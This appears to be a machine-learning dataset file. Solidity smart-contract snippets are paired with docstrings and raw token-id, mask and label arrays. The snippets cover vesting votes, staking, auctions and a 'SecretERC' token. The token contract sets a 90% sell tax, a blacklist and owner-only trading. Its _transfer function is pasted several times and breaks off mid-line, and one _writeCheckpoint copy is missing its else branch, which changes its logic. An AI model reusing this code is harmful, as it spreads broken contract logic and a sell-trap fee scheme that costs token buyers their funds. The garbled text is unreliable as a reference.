delegate votes */ function delegateVotes(address _to) external { Member memory member = members[msg.sender]; require(_to != address(0), "Vesting::delegateVotes: Can't delegate to 0 address"); require(member.active == true, "Vesting::delegateVotes: msg.sender not active"); address currentDelegate = getVoteUser(msg.sender); require(_to != currentDelegate, "Vesting::delegateVotes: Already delegated to this address"); voteDelegations[msg.sender] = _to; uint96 adjustedVotes = sub96(member.alreadyClaimedVotes, member.alreadyClaimedTokens, "Vesting::claimVotes: AdjustedVotes underflow"); _subDelegatedVotesCache(currentDelegate, adjustedVotes); _addDelegatedVotesCache(_to, adjustedVotes); emit DelegateVotes(msg.sender, _to, currentDelegate, adjustedVotes); } /** * @notice Transfers a vested rights for a member funds to another address * @dev A new member won't have any votes for a period between a start timestamp and a current timestamp * @param _to address to transfer a vested right to */ function transfer(address _to) external { Member memory from = members[msg.sender]; Member memory to = members[_to]; uint96 alreadyClaimedTokens = from.alreadyClaimedTokens; uint96 alreadyClaimedVotes = from.alreadyClaimedVotes; uint32 personalDurationT = from.personalDurationT; require(from.active == true, "Vesting::transfer: From member is inactive"); require(to.active == false, "Vesting::transfer: To address is already active"); require(to.transferred == false, "Vesting::transfer: To address has been already used"); require(numCheckpoints[_to] == 0, "Vesting::transfer: To address already had a checkpoint"); members[msg.sender] = Member({ active: false, transferred: true, alreadyClaimedVotes: 0, alreadyClaimedTokens: 0, personalDurationT: 0 }); members[_to] = Member({ active: true, transferred: false, alreadyClaimedVotes: alreadyClaimedVotes, alreadyClaimedTokens: alreadyClaimedTokens, personalDurationT: personalDurationT }); address currentDelegate = voteDelegations[msg.sender]; uint32 currentBlockNumber = safe32(block.number, "Vesting::transfer: Block number exceeds 32 bits"); checkpoints[_to][0] = Checkpoint(uint32(0), 0); if (currentDelegate == address(0)) { uint96 adjustedVotes = sub96(from.alreadyClaimedVotes, from.alreadyClaimedTokens, "Vesting::claimVotes: AdjustedVotes underflow"); _subDelegatedVotesCache(msg.sender, adjustedVotes); checkpoints[_to][1] = Checkpoint(currentBlockNumber, adjustedVotes); numCheckpoints[_to] = 2; } else { numCheckpoints[_to] = 1; } voteDelegations[_to] = voteDelegations[msg.sender]; delete voteDelegations[msg.sender]; Member memory toMember = members[_to]; emit Transfer(msg.sender, _to, alreadyClaimedVotes, alreadyClaimedTokens, currentDelegate); uint256 votes = getAvailableVotes({ _alreadyClaimed: toMember.alreadyClaimedVotes, _memberEndT: getLoadedMemberEndT(toMember) }); _claimVotes(_to, toMember, votes); } function _subDelegatedVotesCache(address _member, uint96 _subAmount) internal { uint32 dstRepNum = numCheckpoints[_member]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[_member][dstRepNum - 1].votes : 0; uint96 dstRepNew = sub96(dstRepOld, _subAmount, "Vesting::_cacheUnclaimed: Sub amount overflows"); _writeCheckpoint(_member, dstRepNum, dstRepOld, dstRepNew); } function _addDelegatedVotesCache(address _member, uint96 _addAmount) internal { uint32 dstRepNum = numCheckpoints[_member]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[_member][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, _addAmount, "Vesting::_cacheUnclaimed: Add amount overflows"); _writeCheckpoint(_member, dstRepNum, dstRepOld, dstRepNew); } /// @dev A copy from CVP token, only the event name changed function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32(block.number, "Vesting::_writeCheckpoint: Block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit UnclaimedBalanceChanged(delegatee, oldVotes, newVotes); } /// @dev The exact copy from CVP token function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /// @dev The exact copy from CVP token function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } /// @dev The exact copy from CVP token function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } /// @dev The exact copy from CVP token function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } }
@dev A copy from CVP token, only the event name changed
function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32(block.number, "Vesting::_writeCheckpoint: Block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit UnclaimedBalanceChanged(delegatee, oldVotes, newVotes); }
6,428,145
[ 1, 37, 1610, 628, 385, 26152, 1147, 16, 1338, 326, 871, 508, 3550, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 2626, 14431, 12, 203, 565, 1758, 7152, 73, 16, 203, 565, 2254, 1578, 290, 1564, 4139, 16, 203, 565, 2254, 10525, 1592, 29637, 16, 203, 565, 2254, 10525, 394, 29637, 203, 225, 262, 2713, 288, 203, 565, 2254, 1578, 1203, 1854, 273, 4183, 1578, 12, 2629, 18, 2696, 16, 315, 58, 10100, 2866, 67, 2626, 14431, 30, 3914, 1300, 14399, 3847, 4125, 8863, 203, 203, 565, 309, 261, 82, 1564, 4139, 405, 374, 597, 26402, 63, 22216, 73, 6362, 82, 1564, 4139, 300, 404, 8009, 2080, 1768, 422, 1203, 1854, 13, 288, 203, 1377, 26402, 63, 22216, 73, 6362, 82, 1564, 4139, 300, 404, 8009, 27800, 273, 394, 29637, 31, 203, 1377, 26402, 63, 22216, 73, 6362, 82, 1564, 4139, 65, 273, 25569, 12, 2629, 1854, 16, 394, 29637, 1769, 203, 1377, 818, 1564, 4139, 63, 22216, 73, 65, 273, 290, 1564, 4139, 397, 404, 31, 203, 565, 289, 203, 203, 565, 3626, 1351, 14784, 329, 13937, 5033, 12, 22216, 73, 16, 1592, 29637, 16, 394, 29637, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6eF0B77a8624Ac0752364f55D1F38B9acd630302/sources/PangStaking.sol
the last time that the user claimed rewards for this NFT
uint256 lastClaimTimestamp;
4,467,112
[ 1, 5787, 1142, 813, 716, 326, 729, 7516, 329, 283, 6397, 364, 333, 423, 4464, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 1142, 9762, 4921, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xbc28e14587D722dA96eB3AA241F2177421F4Ece4/sources/contracts/GyrenautsImplementation.sol
Function to toggle approval list minting on and off
function toggleApprovalListMinting() external onlyOwner { approvalListMintEnabled = !approvalListMintEnabled; }
17,046,562
[ 1, 2083, 358, 10486, 23556, 666, 312, 474, 310, 603, 471, 3397, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 10486, 23461, 682, 49, 474, 310, 1435, 3903, 1338, 5541, 288, 203, 3639, 23556, 682, 49, 474, 1526, 273, 401, 12908, 1125, 682, 49, 474, 1526, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/5/0x64099cEAdcfe9a1CBE5e8E8D2Dc770aD8d812f46/sources/MISOMarket.sol
struct DutchAuction { address _funder; address _token; uint256 _tokenSupply; uint256 _startDate; uint256 _endDate; address _paymentCurrency; uint256 _startPrice; uint256 _minimumPrice; address payable _wallet; }
interface IMisoAuction { function initAuction( address _funder, address _token, uint256 _tokenSupply, uint256 _startDate, uint256 _endDate, address _paymentCurrency, uint256 _startPrice, uint256 _minimumPrice, address payable _wallet ) external; }
16,841,894
[ 1, 1697, 463, 322, 343, 37, 4062, 288, 377, 1758, 389, 74, 9341, 31, 377, 1758, 389, 2316, 31, 377, 2254, 5034, 389, 2316, 3088, 1283, 31, 377, 2254, 5034, 389, 1937, 1626, 31, 377, 2254, 5034, 389, 409, 1626, 31, 377, 1758, 389, 9261, 7623, 31, 377, 2254, 5034, 389, 1937, 5147, 31, 377, 2254, 5034, 389, 15903, 5147, 31, 377, 1758, 8843, 429, 389, 19177, 31, 289, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 6246, 9699, 37, 4062, 288, 203, 203, 565, 445, 1208, 37, 4062, 12, 203, 3639, 1758, 389, 74, 9341, 16, 203, 3639, 1758, 389, 2316, 16, 203, 3639, 2254, 5034, 389, 2316, 3088, 1283, 16, 203, 3639, 2254, 5034, 389, 1937, 1626, 16, 203, 3639, 2254, 5034, 389, 409, 1626, 16, 203, 3639, 1758, 389, 9261, 7623, 16, 203, 3639, 2254, 5034, 389, 1937, 5147, 16, 203, 3639, 2254, 5034, 389, 15903, 5147, 16, 203, 3639, 1758, 8843, 429, 389, 19177, 203, 565, 262, 3903, 31, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x7dBAfE66B3bC826Bfa44ddAB70dE9e49c97FfeB3/sources/SecretERC.sol
Buy FeeSell FeeOriginal Fee
contract SecretERC is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Secret"; string private constant _symbol = "$SECRET"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 90; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xdE3d7C809eBBa88744Fd2282AED97d3331933Ba6); address payable private _marketingAddress = payable(0xdE3d7C809eBBa88744Fd2282AED97d3331933Ba6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000 * 10**9; uint256 public _maxWalletSize = 20000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = 